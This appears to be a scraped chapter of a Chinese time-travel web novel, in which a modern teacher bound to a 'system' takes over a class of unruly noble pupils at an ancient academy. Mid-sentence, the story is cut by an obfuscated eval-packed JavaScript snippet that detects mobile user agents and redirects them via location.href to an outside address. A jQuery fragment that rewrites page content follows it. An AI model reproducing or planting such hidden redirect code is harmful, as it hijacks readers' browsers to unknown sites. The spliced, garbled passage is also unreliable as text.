清晨,松山书院。
云雾还未散尽,一间间学舍中已然响起了朗朗读书声。
其中声响最大的便是许兰乔面前这间丙字学舍。
【宿主,看来你运气不错,谁说丙字学舍里都是些顽劣的差班生?听听这读书声多卖力啊,不管成绩怎么样,起码有一颗好学的心!】
【这个李夫子说得那么严重,还叫你要小心,本系统看他简直就是在危言耸听!】
一个咋咋呼呼的电子音响起,可奇怪的是,站在许兰乔旁边的李夫子恍若未觉。
李夫子看着眼前这个瘦弱的小书生,欲言又止,最后也只微微叹了口气。
“许夫子,这丙字学舍的学生们个个顽劣不堪,身为夫子,教导这些学子成材本是我辈职责,但若是……唉,我也不便多言,许夫子今后多多保重身子。”
浓密的睫毛颤动,许兰乔清澈透亮的一双眼似有不解,她彬彬有礼拱手作揖,“李先生,此话怎讲?可否稍稍提点些晚辈?”
李夫子微微摇头:“你进了学舍便知,切记,若是教导不了,便无需勉强,保重自个儿便好。”
他说完便离开了,留下许兰乔一人一统在原地四目相对。
【宿主别怕,本系统相信宿主一定能完成任务,早日重回现代!】
许兰乔听完系统的鼓励,心中无语又无奈。
她在十日之前还是现代一名普通的高中老师,期末考完,刚给班上的学生们开完家长会准备迎接快乐的暑假时,却在出校门口时为了救一个班上的学生,被一辆失控的汽车创出几米远,当场便失去了知觉。
等她再次睁眼,却震惊发现,自己竟然穿越了,穿的还是一个在历史上没出现过的架空朝代。
不仅如此,她还被一个自称是名师观察系统的东西绑定了。
系统说它需要观察许兰乔身为一个现代教师,用现代的教育经验是否也能将古代的学子们教养成材。
若是可行,以后各个不同时代位面的小世界里教育出了问题,就可以抽调其他世界的教师来支援。
许兰乔听完,觉得系统的愿景虽然伟大,但是完全没有考虑过她们这种突然穿到人生地不熟的陌生世界里的可怜教师有多无助。
她泪眼朦胧,试图求系统把她带回现代,她在现代也教书,随系统怎么观察。
可是系统却说她在现代已经车祸死了,估摸着这会已经从殡仪馆出来变成了骨灰,就算回去了也只能参加自己的葬礼。
眼见许兰乔一副生无可恋的样子,系统才又给她画了一个大饼,只要她老实完成系统的任务,将手底下的学子们培养成材,就能兑换一次重回现代的机会,可以重生在她出车祸之前。
许兰乔打又打不过系统,只能选择加入。
这时,她也正好融合了魂穿的这具身体的记忆。
原来原主名唤兰萱,是太傅兰禀严的爱女。兰小姐的母亲早逝,她自己也是一个药罐子。
兰太傅从普陀寺请来的高僧断言,兰小姐的命格与兰府相克,若是远离兰府,可长命百岁,若留下,则活不过二八年岁。
无法,兰太傅只能忍痛将兰小姐送往早已辞官归隐的一位老友府上教养。
三年前举朝震惊的科考舞弊案,被查出是兰太傅与其长子所为。陛下震怒,一道圣旨便将兰府满门抄斩。
远在江南的兰小姐听闻此噩耗,又悲又怒,她是万万不信父亲和兄长会徇私舞弊的。于是强撑病体,苦读诗书三年,为的就是女扮男装入京参加科考,以身入局查清真相,为父亲与兄长翻案,为整个兰府报仇。
十日前兰小姐终于到了京城,忽然听闻松山书院正在外聘夫子,她便动了心思。
这松山书院乃是陛下钦点的高等学府,当年兰小姐的兄长便是这松山书院里最杰出的一名学子,也是最有机会考上状元的人选之一,偏偏正在参加科考时却被查出与父亲兰太傅徇私舞弊。
那时除了兰公子,松山书院的好几名成绩处于上游的学子也被查出作弊,统统被震怒的陛下砍了头,而这起案件的卷宗也被放到了松山书院的藏书阁里,用以震慑往后的学子们万万不可舞弊。
兰小姐想查看卷宗寻找线索,果断女扮男装,打算第二日便去报名参与夫子的选拔。
可惜的是兰小姐还未等到第二日,就得了急病过世。
许兰乔便是在兰小姐断气之后穿到了这幅身体里,她既怜兰小姐的遭遇,也敬她为了给父兄翻案不远万里来到京城的举动,当即决定用自己的本名“许兰乔”替她参加了夫子的选拔。
进入松山书院,既能替兰小姐寻找证据为容府翻案,又能完成系统的任务,于是许兰乔埋头苦读十日,终于在选拔之日拔得头筹被聘为夫子。
而今日,便是许兰乔第一次授课的日子。
她已经换了一身男装,待李夫子离去之后,她理了理身上的月白长衫,整理好仪容仪表,正要抬手推开学舍的门时,却意识到了几分不对劲。
她抬头一看,便了然一笑,收回了手,抬步往学舍后面走去。
系统叽叽喳喳,生气地说:【原来是本系统错看这些学子了,还以为在里面努力读书,哪知道是在憋坏,宿主不如进去好好教训他们一顿,以后看他们还敢不敢捉弄宿主!】
许兰乔微微一笑,摇头道:“系统,按我多年的教学经验来看,有部分顽劣的学生可不是光靠大声责骂就能让他们认错的。”
“这丙字学舍的学子据说都是京城高官府里的少爷世子,且才十四五岁,正是自尊心高傲的年纪,若想让他们以后乖乖听话,就得想个法子让他们对本夫子心服口服才是。”
系统似懂非懂,许兰乔便继续解释。
“方才我若是直接推门进去中了他们的陷阱,这帮学子便会以为我这个新来的夫子是个好欺负的,以后只会变本加厉试探我的底线,爬到我的头上来。”
“但我要是选择一脚踢开门,戳穿他们设下的陷阱责骂他们,他们肯定不会承认是谁做的,我只能惩罚舍内所有的学子,但这样只会让他们更加团结起来怨恨我,以后我还能教导得了他们吗?”
系统竖起大拇指,连忙将观察到的这一幕宝贵教学经验,唰唰记录到了相应的教学资料库里,连连称赞称赞,
【原来如此,看来本系统真是目光如炬绑定了宿主,这样一来我们强强结合,一定能很快完成任务!】
许兰乔:……这系统又在给我画饼!
屋里的学生们一边读书一边偷眼瞄向门外,见方才还在门外的那道身影居然不见了,顿时就把书扔了。
“那新来的夫子方才还在门外,怎么一眨眼的功夫就不见了!?”
“嗤!估计是个胆小的鼠辈!真是没劲!”
这话一落,学生们彻底放飞自我,学舍里吵闹不堪,笔墨纸砚齐飞。
“太好咯!那个凶巴巴的老头子走了,新来的夫子又是个胆小的,想来必然不敢管我们,我们今日不如去院里抓几只蛐蛐斗一斗!!”
裴宴辰也扔了书,从怀里掏出来一个盒子打开,桀骜的脸上露出不屑的讥笑。
“蛐蛐有什
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140510|196305||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
么好斗的,要是今日能把这些东西放到新夫子的杯子里才好玩呢!”
坐他旁边的侯府世子谢荣宝见状,眼睛顿时一亮,贼兮兮道:
“裴宴辰你小子从哪里抓来这么多恶心的虫子蚯蚓,那个老头子告了病假不能来授课,该不会就是被你这一盒虫子给吓病的吧!”
裴宴辰拍开谢荣宝欲拿他盒子的手,挑眉嗤笑:“我只在老头子的茶里放了几条虫而已,怎可能就被吓病了?我看老头子是被你那日写的淫诗给气病的吧!”
谢荣宝不在意地笑了笑:“我明明藏得好好的不给他看,是他自己非要搜出来看,看了又要生气,哪能怪我啊!”
裴宴辰撇了撇嘴,心想那老头子都一把年纪了,趁着这次病了别再来给他们授课也好,免得自己忍不住又去捉弄他,要是真把那老夫子气出个好歹,兄长定然饶不了自己。
他趴在桌子上,无聊地逗弄着盒里的虫子。
“唉,老头子走了,我的乐趣也没有了,这新来的夫子怎么胆小成这样,难不成他打算一辈子都不进这个学舍了不成?”
“教不了就滚下山去,反正也没听说过这人的名号,想来也不配教导我们,谢荣宝,我说得对也不对?”
谢荣宝却没接话,只是呆呆地看向裴宴辰身后的窗户。
裴宴辰拿手在他面前晃了晃,皱眉道:“你被鬼上身了不成,我身后是有美人还是金银珠宝啊?”
“不是美人也不是金银珠宝,是你喜欢的蚯蚓。”
一道陌生的清亮嗓音在裴宴辰的身后响起,他猛地回头,便被一条差点掉在他脸上的蚯蚓吓了一大跳,手里的盒子也下意识向上抛,顿时里面的虫子蚯蚓全都掉了身上。
“啊!”
他吓得面色微白,连忙起身抖掉怀里的虫子蚯蚓。
“这是为师送你的礼物,你不喜欢吗?”
裴宴辰这才抬头,只见窗外正站着一位面冠如玉的文弱书生,五官无处不精致,不似寻常男子阳刚,却也不同于女子的柔美,瞧着到有些雌雄莫辨。
那文文弱弱的书生手上拿着一方洁白的帕子,上面正躺着一条蠕动的蚯蚓,正似笑非笑地往他跟前递。
“你不是打算将那一盒子的蚯蚓送给为师吗,为师礼尚往来罢了。”
裴宴辰一愣,意识到眼前这位白面书生便是书院新来的夫子,他的面色迅速发红,一副又生气又窘迫的模样。
原来这个新来的夫子早已经站在窗外把他们方才的话都听了个便!
裴宴辰还从没遇见这么窘迫的时候,顿时觉得面子有些下不来,只能生气地将许兰乔手上那条蚯蚓捏起来扔远了,梗着脖子说:“本少爷才不喜欢这些臭虫子!”
许兰乔倒也不生气,只是又拿了一条帕子,慢条斯理将自己的手又擦了擦,气定神闲道:“既然不喜欢,以后便不要再把这些虫子蚯蚓带到学舍里。”
其余同窗们难得见到裴宴辰这个小霸王吃瘪,都捂着嘴偷笑,裴宴辰自觉丢了面子,梗着脖子想为自己找回点面子时,却已被许兰乔轻飘飘打断了。
“时辰也不早了,咱们开始授课,谁先去帮我把门打开,今日便免了谁的课业。”
话音刚落,方才那些无法无天的学子们眼睛一亮,纷纷冲到学舍门口将门拉开,生怕落了半步,免除课业的好处被人抢了去。
只是他们却忘了自己在门框上放了什么。
只听哐当两声,地上落下了两只木盆,几个冲过来开门的学生都被他们自己事先放在门框上面粉和凉水浇了个透彻,好生狼狈。